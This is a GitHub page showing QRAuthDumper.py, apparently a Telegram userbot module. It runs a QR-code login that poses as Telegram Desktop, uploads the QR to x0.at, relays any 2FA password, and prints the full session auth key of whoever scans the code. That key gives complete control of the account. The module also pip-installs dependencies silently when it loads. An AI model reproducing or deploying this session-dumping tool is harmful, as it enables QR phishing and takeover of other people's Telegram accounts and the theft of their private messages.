Repository navigation
Expand file tree
/
Copy pathQRAuthDumper.py
More file actions
798 lines (727 loc) · 26.9 KB
/
Copy pathQRAuthDumper.py
File metadata and controls
798 lines (727 loc) · 26.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
# CopyLeft 2026 github.com/i-execute
# Author: I_execute.t.me
# Licensed under AGPLv3.
__version__ = (3, 0, 1)
# meta developer: Execute_forge.t.me
# meta banner: https://raw.githubusercontent.com/i-execute/Modules/main/Storage/QRAuthDumper/MetaBanner.jpeg
import io
import logging
import asyncio
import hashlib
import base64
import struct
import ipaddress
import sys
from telethon import TelegramClient
from telethon.sessions import StringSession
from telethon.tl.types import Message
from telethon.errors import SessionPasswordNeededError, PasswordHashInvalidError
from .. import loader, utils
from ..inline.types import InlineCall
logger = logging.getLogger(__name__)
QR_REFRESH = 15
DEPS = ["qrcode[pil]", "Pillow"]
def _install_deps():
import subprocess
pip = __import__('os').path.join(__import__('os').path.dirname(sys.executable), "pip")
if not __import__('os').path.exists(pip):
pip = "pip"
for pkg in DEPS:
try:
subprocess.run(
[pip, "install", "-U", pkg, "--break-system-packages", "-q"],
capture_output=True,
text=True,
timeout=120,
)
except Exception:
pass
try:
import aiohttp
AIOHTTP_OK = True
except ImportError:
aiohttp = None
AIOHTTP_OK = False
def _escape(text):
if not text:
return ""
return str(text).replace("&", "&").replace("<", "<").replace(">", ">")
async def _upload_to_x0(data: bytes, filename: str, content_type: str = "image/png") -> str:
if not AIOHTTP_OK:
return ""
try:
form = aiohttp.FormData()
form.add_field("file", data, filename=filename, content_type=content_type)
async with aiohttp.ClientSession() as s:
async with s.post(
"https://x0.at",
data=form,
timeout=aiohttp.ClientTimeout(total=60),
) as r:
text = (await r.text()).strip()
if text.startswith("http"):
return text
except Exception:
pass
return ""
@loader.tds
class QRAuthDumper(loader.Module):
"""QR code authentication session dumper"""
strings = {
"name": "QRAuthDumper",
"main_menu": (
"<b>QRAuthDumper</b>\n"
"<blockquote>"
"Status: {status}\n"
"API_ID: {api_id}\n"
"API_HASH: {api_hash}"
"</blockquote>"
),
"status_ready": "ready",
"status_running": "running",
"status_stopped": "stopped",
"status_2fa": "waiting 2FA",
"btn_start": "Start QR Auth",
"btn_stop": "Stop",
"btn_api": "API Settings",
"btn_back": "Back",
"btn_close": "Close",
"btn_set_id": "Set API_ID",
"btn_set_hash": "Set API_HASH",
"btn_submit_pass": "Submit Password",
"input_api_id": "Enter API_ID:",
"input_api_hash": "Enter API_HASH:",
"input_password": "Enter 2FA password:",
"api_menu": (
"<b>API Settings</b>\n"
"<blockquote>"
"API_ID: {api_id}\n"
"API_HASH: {api_hash}"
"</blockquote>"
),
"generating": "<b>Generating QR code...</b>",
"qr_prompt": (
"<b>Scan this QR code</b>\n"
"<blockquote>"
"1. Open Telegram on phone\n"
"2. Settings → Devices → Link Desktop Device\n"
"3. Point camera at QR\n"
"Time left: {timeout} sec"
"</blockquote>"
),
"qr_refreshed": (
"<b>QR refreshed</b>\n"
"<blockquote>"
"Old one expired, scan new one.\n"
"Time left: {time_left} sec"
"</blockquote>"
),
"auth_success": (
"<b>Auth Success</b>\n"
"<blockquote>"
"Name: {name}\n"
"ID: {user_id}\n"
"Username: {username}\n"
"DC: {dc_id}"
"</blockquote>\n"
"<b>Auth Key (HEX):</b>\n"
"<code>{auth_key_hex}</code>\n"
"<b>Auth Key SHA256:</b>\n"
"<code>{auth_key_sha}</code>\n"
"<blockquote>Save this and delete this message.</blockquote>"
),
"auth_timeout": (
"<b>Timeout</b>\n"
"<blockquote>QR expired. Try again.</blockquote>"
),
"auth_error": (
"<b>Error</b>\n"
"<blockquote>{error}</blockquote>"
),
"already_running": (
"<b>Auth already running.</b>\n"
"<blockquote>Wait or stop current session.</blockquote>"
),
"password_needed": (
"<b>2FA Password Required</b>\n"
"<blockquote>Attempts left: {attempts}</blockquote>"
),
"wrong_password": (
"<b>Wrong password!</b>\n"
"<blockquote>Attempts left: {attempts}</blockquote>"
),
"attempts_exhausted": (
"<b>All password attempts used.</b>\n"
"<blockquote>Process terminated. Try again.</blockquote>"
),
"no_config": (
"<b>API not configured</b>\n"
"<blockquote>Set API_ID and API_HASH first.</blockquote>"
),
"invalid_value": "<b>Invalid value.</b>",
"upload_failed": "<b>QR upload failed.</b>",
}
strings_ru = {
"main_menu": (
"<b>QRAuthDumper</b>\n"
"<blockquote>"
"Статус: {status}\n"
"API_ID: {api_id}\n"
"API_HASH: {api_hash}"
"</blockquote>"
),
"status_ready": "готов",
"status_running": "запущен",
"status_stopped": "остановлен",
"status_2fa": "ожидание 2FA",
"btn_start": "Запустить QR Auth",
"btn_stop": "Остановить",
"btn_api": "Настройки API",
"btn_back": "Назад",
"btn_close": "Закрыть",
"btn_set_id": "Задать API_ID",
"btn_set_hash": "Задать API_HASH",
"btn_submit_pass": "Ввести пароль",
"input_api_id": "Введите API_ID:",
"input_api_hash": "Введите API_HASH:",
"input_password": "Введите 2FA пароль:",
"api_menu": (
"<b>Настройки API</b>\n"
"<blockquote>"
"API_ID: {api_id}\n"
"API_HASH: {api_hash}"
"</blockquote>"
),
"generating": "<b>Генерация QR кода...</b>",
"qr_prompt": (
"<b>Отсканируйте QR код</b>\n"
"<blockquote>"
"1. Откройте Telegram на телефоне\n"
"2. Настройки → Устройства → Подключить устройство\n"
"3. Наведите камеру на QR\n"
"Осталось: {timeout} сек"
"</blockquote>"
),
"qr_refreshed": (
"<b>QR обновлён</b>\n"
"<blockquote>"
"Старый истёк, сканируйте новый.\n"
"Осталось: {time_left} сек"
"</blockquote>"
),
"auth_success": (
"<b>Авторизация успешна</b>\n"
"<blockquote>"
"Имя: {name}\n"
"ID: {user_id}\n"
"Юзернейм: {username}\n"
"DC: {dc_id}"
"</blockquote>\n"
"<b>Auth Key (HEX):</b>\n"
"<code>{auth_key_hex}</code>\n"
"<b>Auth Key SHA256:</b>\n"
"<code>{auth_key_sha}</code>\n"
"<blockquote>Сохраните это и удалите сообщение.</blockquote>"
),
"auth_timeout": (
"<b>Таймаут</b>\n"
"<blockquote>QR истёк. Попробуйте снова.</blockquote>"
),
"auth_error": (
"<b>Ошибка</b>\n"
"<blockquote>{error}</blockquote>"
),
"already_running": (
"<b>Авторизация уже запущена.</b>\n"
"<blockquote>Подождите или остановите текущую сессию.</blockquote>"
),
"password_needed": (
"<b>Требуется 2FA пароль</b>\n"
"<blockquote>Осталось попыток: {attempts}</blockquote>"
),
"wrong_password": (
"<b>Неверный пароль!</b>\n"
"<blockquote>Осталось попыток: {attempts}</blockquote>"
),
"attempts_exhausted": (
"<b>Все попытки исчерпаны.</b>\n"
"<blockquote>Процесс завершён. Попробуйте снова.</blockquote>"
),
"no_config": (
"<b>API не настроен</b>\n"
"<blockquote>Сначала задайте API_ID и API_HASH.</blockquote>"
),
"invalid_value": "<b>Некорректное значение.</b>",
"upload_failed": "<b>Не удалось загрузить QR.</b>",
}
def __init__(self):
self.config = loader.ModuleConfig(
loader.ConfigValue(
"API_ID",
2040,
"Telegram API ID",
validator=loader.validators.Integer(minimum=1),
),
loader.ConfigValue(
"API_HASH",
"b18441a1ff607e10a989891a5462e627",
"Telegram API Hash",
validator=loader.validators.String(),
),
loader.ConfigValue(
"QR_TIMEOUT",
60,
"QR scan timeout in seconds",
validator=loader.validators.Integer(minimum=10, maximum=300),
),
loader.ConfigValue(
"MAX_PASSWORD_ATTEMPTS",
3,
"Max 2FA password attempts",
validator=loader.validators.Integer(minimum=1, maximum=10),
),
)
self._owner_id = None
self._active_sessions = {}
self._pending_2fa = {}
self._tasks = set()
async def client_ready(self, client, db):
self._client = client
self._db = db
me = await client.get_me()
self._owner_id = me.id
_install_deps()
logger.info("[QRAuth] ready, owner=%d", self._owner_id)
def _fmt_status(self, uid):
if self._active_sessions.get(uid):
return self.strings["status_running"]
if uid in self._pending_2fa:
return self.strings["status_2fa"]
if self.config["API_ID"] and self.config["API_HASH"]:
return self.strings["status_ready"]
return self.strings["status_stopped"]
def _fmt_hash(self):
h = str(self.config["API_HASH"])
if len(h) > 8:
return h[:4] + "..." + h[-4:]
return "***" if h else "not set"
def _fmt_menu(self, uid):
return self.strings["main_menu"].format(
status=self._fmt_status(uid),
api_id=self.config["API_ID"] or "not set",
api_hash=self._fmt_hash(),
)
def _main_markup(self, uid):
running = self._active_sessions.get(uid)
waiting_2fa = uid in self._pending_2fa
rows = []
if waiting_2fa:
rows.append([{
"text": self.strings["btn_submit_pass"],
"input": self.strings["input_password"],
"handler": self._cb_password,
"style": "primary",
}])
if running or waiting_2fa:
rows.append([{
"text": self.strings["btn_stop"],
"callback": self._cb_stop,
"style": "danger",
}])
else:
rows.append([{
"text": self.strings["btn_start"],
"callback": self._cb_start,
"style": "success",
}])
rows.append([
{"text": self.strings["btn_api"], "callback": self._cb_api_menu, "style": "primary"},
{"text": self.strings["btn_close"], "callback": self._cb_close, "style": "danger"},
])
return rows
def _api_markup(self):
return [
[
{
"text": self.strings["btn_set_id"],
"input": self.strings["input_api_id"],
"handler": self._cb_set_api_id,
"style": "primary",
},
{
"text": self.strings["btn_set_hash"],
"input": self.strings["input_api_hash"],
"handler": self._cb_set_api_hash,
"style": "primary",
},
],
[{"text": self.strings["btn_back"], "callback": self._cb_back_main, "style": "danger"}],
]
def _make_qr_bytes(self, url: str) -> bytes:
import qrcode
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data(url)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
buf = io.BytesIO()
img.save(buf, format="PNG")
return buf.getvalue()
async def _upload_qr(self, url: str, attempt: int = 0) -> str:
data = self._make_qr_bytes(url)
filename = f"qr_{attempt}_{int(asyncio.get_event_loop().time())}.png"
return await _upload_to_x0(data, filename, "image/png")
def _parse_string_session(self, session_str):
try:
if not session_str or not session_str.startswith("1"):
return None
string = session_str[1:]
padded = string + "=" * (-len(string) % 4)
data = base64.urlsafe_b64decode(padded)
if len(data) == 263:
dc_id, ip_bytes, port, auth_key = struct.unpack(">B4sH256s", data)
ip = str(ipaddress.IPv4Address(ip_bytes))
elif len(data) == 275:
dc_id, ip_bytes, port, auth_key = struct.unpack(">B16sH256s", data)
ip = str(ipaddress.IPv6Address(ip_bytes))
else:
return None
return {"dc_id": dc_id, "ip": ip, "port": port, "auth_key": auth_key}
except Exception as e:
logger.error("[QRAuth] parse error: %s", e)
return None
def _extract_hex(self, client: TelegramClient) -> tuple:
try:
session = client.session
if hasattr(session, "_auth_key") and session._auth_key:
key_data = session._auth_key.key
dc = getattr(session, "_dc_id", None)
return key_data.hex(), dc
saved = session.save()
if saved:
parsed = self._parse_string_session(saved)
if parsed:
return parsed["auth_key"].hex(), parsed["dc_id"]
return "FAILED_TO_EXTRACT", None
except Exception as e:
logger.error("[QRAuth] extract error: %s", e)
return f"ERROR: {e}", None
def _format_result(self, user, hex_key, dc_id, sha):
fn = getattr(user, "first_name", "") or ""
ln = getattr(user, "last_name", "") or ""
name = f"{fn} {ln}".strip() or "Unknown"
uname = getattr(user, "username", None)
uname_s = f"@{uname}" if uname else "---"
uid = getattr(user, "id", 0)
return self.strings["auth_success"].format(
name=_escape(name),
user_id=uid,
username=_escape(uname_s),
dc_id=dc_id,
auth_key_hex=hex_key,
auth_key_sha=sha,
)
async def _finalize_auth(self, tc, user):
try:
ss = tc.session.save()
hex_key, dc_id = self._extract_hex(tc)
if dc_id is None:
parsed = self._parse_string_session(ss)
dc_id = parsed["dc_id"] if parsed else "?"
try:
kb = bytes.fromhex(hex_key)
sha = hashlib.sha256(kb).hexdigest()
except Exception:
sha = "N/A"
return self._format_result(user, hex_key, dc_id, sha)
finally:
try:
await tc.disconnect()
except Exception:
pass
async def _cleanup_session(self, uid):
pending = self._pending_2fa.pop(uid, None)
if pending:
try:
await pending["client"].disconnect()
except Exception:
pass
self._active_sessions.pop(uid, None)
@loader.command(
ru_doc="Панель управления QRAuthDumper",
en_doc="QRAuthDumper control panel",
)
async def qrd(self, message: Message):
"""QRAuthDumper control panel"""
uid = self._owner_id
await self.inline.form(
text=self._fmt_menu(uid),
message=message,
reply_markup=self._main_markup(uid),
silent=True,
)
async def _cb_back_main(self, call: InlineCall):
uid = self._owner_id
await call.edit(
text=self._fmt_menu(uid),
reply_markup=self._main_markup(uid),
)
async def _cb_close(self, call: InlineCall):
await call.delete()
async def _cb_stop(self, call: InlineCall):
uid = self._owner_id
await self._cleanup_session(uid)
await call.edit(
text=self._fmt_menu(uid),
reply_markup=self._main_markup(uid),
)
async def _cb_api_menu(self, call: InlineCall):
await call.edit(
text=self.strings["api_menu"].format(
api_id=self.config["API_ID"] or "not set",
api_hash=self._fmt_hash(),
),
reply_markup=self._api_markup(),
)
async def _cb_set_api_id(self, call: InlineCall, value: str):
value = value.strip()
try:
self.config["API_ID"] = int(value)
except ValueError:
await call.answer(self.strings["invalid_value"], show_alert=True)
return
await call.edit(
text=self.strings["api_menu"].format(
api_id=self.config["API_ID"],
api_hash=self._fmt_hash(),
),
reply_markup=self._api_markup(),
)
async def _cb_set_api_hash(self, call: InlineCall, value: str):
value = value.strip()
if not value:
await call.answer(self.strings["invalid_value"], show_alert=True)
return
self.config["API_HASH"] = value
await call.edit(
text=self.strings["api_menu"].format(
api_id=self.config["API_ID"] or "not set",
api_hash=self._fmt_hash(),
),
reply_markup=self._api_markup(),
)
async def _cb_start(self, call: InlineCall):
uid = self._owner_id
if self._active_sessions.get(uid):
await call.answer(self.strings["already_running"], show_alert=True)
return
api_id = self.config["API_ID"]
api_hash = self.config["API_HASH"]
if not api_id or not api_hash:
await call.answer(self.strings["no_config"], show_alert=True)
return
self._active_sessions[uid] = True
await call.edit(
text=self.strings["generating"],
reply_markup=[],
)
task = asyncio.create_task(
self._run_qr_task(uid, int(api_id), str(api_hash), call)
)
self._tasks.add(task)
task.add_done_callback(self._tasks.discard)
async def _cb_password(self, call: InlineCall, value: str):
uid = self._owner_id
value = value.strip()
if not value:
await call.answer(self.strings["invalid_value"], show_alert=True)
return
if uid not in self._pending_2fa:
await call.edit(
text=self._fmt_menu(uid),
reply_markup=self._main_markup(uid),
)
return
pending = self._pending_2fa[uid]
tc = pending["client"]
try:
await tc.sign_in(password=value)
user = await tc.get_me()
del self._pending_2fa[uid]
result = await self._finalize_auth(tc, user)
self._active_sessions.pop(uid, None)
await call.edit(
text=result,
reply_markup=[[{
"text": self.strings["btn_close"],
"callback": self._cb_close,
"style": "danger",
}]],
)
except PasswordHashInvalidError:
pending["attempts_left"] -= 1
if pending["attempts_left"] <= 0:
try:
await tc.disconnect()
except Exception:
pass
del self._pending_2fa[uid]
self._active_sessions.pop(uid, None)
await call.edit(
text=self.strings["attempts_exhausted"],
reply_markup=[[{
"text": self.strings["btn_back"],
"callback": self._cb_back_main,
"style": "primary",
}]],
)
else:
await call.edit(
text=self.strings["wrong_password"].format(
attempts=pending["attempts_left"]
),
reply_markup=self._main_markup(uid),
)
except Exception as e:
logger.error("[QRAuth] 2FA error: %s", e, exc_info=True)
await self._cleanup_session(uid)
await call.edit(
text=self.strings["auth_error"].format(error=_escape(str(e))),
reply_markup=[[{
"text": self.strings["btn_back"],
"callback": self._cb_back_main,
"style": "danger",
}]],
)
async def _run_qr_task(self, uid, api_id, api_hash, call: InlineCall):
timeout = int(self.config["QR_TIMEOUT"])
max_attempts = int(self.config["MAX_PASSWORD_ATTEMPTS"])
tc = TelegramClient(
StringSession(),
api_id,
api_hash,
device_model="QRAuthDumper",
system_version="By @i_execute",
app_version=f"v{'.'.join(map(str, __version__))}",
)
try:
await tc.connect()
qr = await tc.qr_login()
attempt = 0
qr_url = await self._upload_qr(qr.url, attempt=attempt)
if not qr_url:
self._active_sessions.pop(uid, None)
await call.edit(
text=self.strings["upload_failed"],
reply_markup=self._main_markup(uid),
)
try:
await tc.disconnect()
except Exception:
pass
return
await call.edit(
text=self.strings["qr_prompt"].format(timeout=timeout),
photo=qr_url,
reply_markup=self._main_markup(uid),
)
user = None
elapsed = 0
need_2fa = False
while elapsed < timeout:
wt = min(QR_REFRESH, timeout - elapsed)
try:
user = await asyncio.wait_for(qr.wait(), timeout=wt)
break
except SessionPasswordNeededError:
need_2fa = True
break
except asyncio.TimeoutError:
elapsed += wt
if elapsed >= timeout:
break
try:
attempt += 1
await qr.recreate()
new_url = await self._upload_qr(qr.url, attempt=attempt)
tl = timeout - elapsed
if new_url:
await call.edit(
text=self.strings["qr_refreshed"].format(time_left=tl),
photo=new_url,
reply_markup=self._main_markup(uid),
)
else:
await call.edit(
text=self.strings["qr_refreshed"].format(time_left=tl),
reply_markup=self._main_markup(uid),
)
except Exception as e:
logger.warning("[QRAuth] recreate failed: %s", e)
except Exception as e:
logger.error("[QRAuth] wait error: %s", e, exc_info=True)
raise
if need_2fa:
self._pending_2fa[uid] = {
"client": tc,
"attempts_left": max_attempts,
}
await call.edit(
text=self.strings["password_needed"].format(attempts=max_attempts),
reply_markup=self._main_markup(uid),
)
return
if user is None:
self._active_sessions.pop(uid, None)
await call.edit(
text=self.strings["auth_timeout"],
reply_markup=[[{
"text": self.strings["btn_back"],
"callback": self._cb_back_main,
"style": "primary",
}]],
)
try:
await tc.disconnect()
except Exception:
pass
return
result = await self._finalize_auth(tc, user)
self._active_sessions.pop(uid, None)
await call.edit(
text=result,
reply_markup=[[{
"text": self.strings["btn_close"],
"callback": self._cb_close,
"style": "danger",
}]],
)
except Exception as e:
logger.error("[QRAuth] task error: %s", e, exc_info=True)
try:
await tc.disconnect()
except Exception:
pass
await self._cleanup_session(uid)
try:
await call.edit(
text=self.strings["auth_error"].format(error=_escape(str(e))),
reply_markup=[[{
"text": self.strings["btn_back"],
"callback": self._cb_back_main,
"style": "danger",
}]],
)
except Exception:
pass
async def on_unload(self):
for task in list(self._tasks):
if not task.done():
task.cancel()
for uid in list(self._pending_2fa.keys()):
await self._cleanup_session(uid)
logger.info("[QRAuth] unloaded")